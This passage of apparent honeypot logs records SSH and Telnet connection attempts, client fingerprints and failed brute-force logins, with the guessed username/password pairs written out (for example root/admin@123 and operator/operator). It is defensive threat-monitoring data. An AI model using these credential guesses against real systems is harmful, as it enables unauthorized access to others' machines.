0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:48.861973Z","src_ip":"176.65.132.254","session":"a3aa44676f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:49.120421Z","src_ip":"176.65.132.254","session":"a3aa44676f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:50.206151Z","src_ip":"176.65.132.254","session":"a3aa44676f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36932,"dst_ip":"159.203.135.109","dst_port":23,"session":"e15fea78903b","protocol":"telnet","message":"New connection: 134.209.8.29:36932 (159.203.135.109:23) [session: e15fea78903b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:51.800946Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":36694,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff664353179e","protocol":"ssh","message":"New connection: 94.156.152.18:36694 (159.203.135.109:22) [session: ff664353179e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:52.239507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:52.244308Z","src_ip":"94.156.152.18","session":"ff664353179e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:52.395794Z","src_ip":"94.156.152.18","session":"ff664353179e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43840,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4381a006f35","protocol":"ssh","message":"New connection: 176.65.132.254:43840 (10.17.0.5:22) [session: b4381a006f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:52.694528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:52.699664Z","src_ip":"176.65.132.254","session":"b4381a006f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:52.782124Z","src_ip":"176.65.132.254","session":"b4381a006f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN4VCPU8GBAMD","message":"login attempt [root/QUEEN4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:52.799201Z","src_ip":"94.156.152.18","session":"ff664353179e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:53.245856Z","src_ip":"176.65.132.254","session":"b4381a006f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33912,"dst_ip":"159.203.135.109","dst_port":23,"session":"7595e57c5352","protocol":"telnet","message":"New connection: 134.209.8.29:33912 (159.203.135.109:23) [session: 7595e57c5352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:53.793629Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:53.936319Z","src_ip":"94.156.152.18","session":"ff664353179e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33922,"dst_ip":"159.203.135.109","dst_port":23,"session":"256a67e1760c","protocol":"telnet","message":"New connection: 134.209.8.29:33922 (159.203.135.109:23) [session: 256a67e1760c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:54.145279Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:54.343249Z","src_ip":"176.65.132.254","session":"b4381a006f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.31648921966553,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:56.301368Z","src_ip":"134.209.8.29","session":"eb75ef8a318f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43848,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a8a42fff8c5","protocol":"ssh","message":"New connection: 176.65.132.254:43848 (10.17.0.5:22) [session: 9a8a42fff8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:56.767013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:56.771607Z","src_ip":"176.65.132.254","session":"9a8a42fff8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:56.853747Z","src_ip":"176.65.132.254","session":"9a8a42fff8c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:57.142846Z","src_ip":"176.65.132.254","session":"9a8a42fff8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:49:58.240400Z","src_ip":"176.65.132.254","session":"9a8a42fff8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43852,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3f033fb37f","protocol":"ssh","message":"New connection: 176.65.132.254:43852 (10.17.0.5:22) [session: 8f3f033fb37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:00.773662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:00.778439Z","src_ip":"176.65.132.254","session":"8f3f033fb37f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:00.861492Z","src_ip":"176.65.132.254","session":"8f3f033fb37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:01.491782Z","src_ip":"176.65.132.254","session":"8f3f033fb37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:02.579124Z","src_ip":"176.65.132.254","session":"8f3f033fb37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54508,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f10a2bdb2e4","protocol":"telnet","message":"New connection: 134.209.8.29:54508 (159.203.135.109:23) [session: 8f10a2bdb2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:04.596027Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49632,"dst_ip":"10.17.0.5","dst_port":22,"session":"47a1cebd5c5c","protocol":"ssh","message":"New connection: 176.65.132.254:49632 (10.17.0.5:22) [session: 47a1cebd5c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:05.047046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:05.058086Z","src_ip":"176.65.132.254","session":"47a1cebd5c5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:05.144267Z","src_ip":"176.65.132.254","session":"47a1cebd5c5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:05.417234Z","src_ip":"176.65.132.254","session":"47a1cebd5c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:06.504229Z","src_ip":"176.65.132.254","session":"47a1cebd5c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49638,"dst_ip":"10.17.0.5","dst_port":22,"session":"065e9f08db8e","protocol":"ssh","message":"New connection: 176.65.132.254:49638 (10.17.0.5:22) [session: 065e9f08db8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:09.125903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:09.130718Z","src_ip":"176.65.132.254","session":"065e9f08db8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:09.223826Z","src_ip":"176.65.132.254","session":"065e9f08db8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:09.486387Z","src_ip":"176.65.132.254","session":"065e9f08db8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:10.573114Z","src_ip":"176.65.132.254","session":"065e9f08db8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57900,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f4259d613a2","protocol":"ssh","message":"New connection: 176.65.132.254:57900 (10.17.0.5:22) [session: 5f4259d613a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:13.338154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:13.343697Z","src_ip":"176.65.132.254","session":"5f4259d613a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:13.441781Z","src_ip":"176.65.132.254","session":"5f4259d613a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:13.824330Z","src_ip":"176.65.132.254","session":"5f4259d613a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:14.919570Z","src_ip":"176.65.132.254","session":"5f4259d613a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":57904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d360469ed5af","protocol":"ssh","message":"New connection: 176.65.132.254:57904 (10.17.0.5:22) [session: d360469ed5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:17.820756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:50:17.826244Z","src_ip":"176.65.132.254","session":"d360469ed5af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2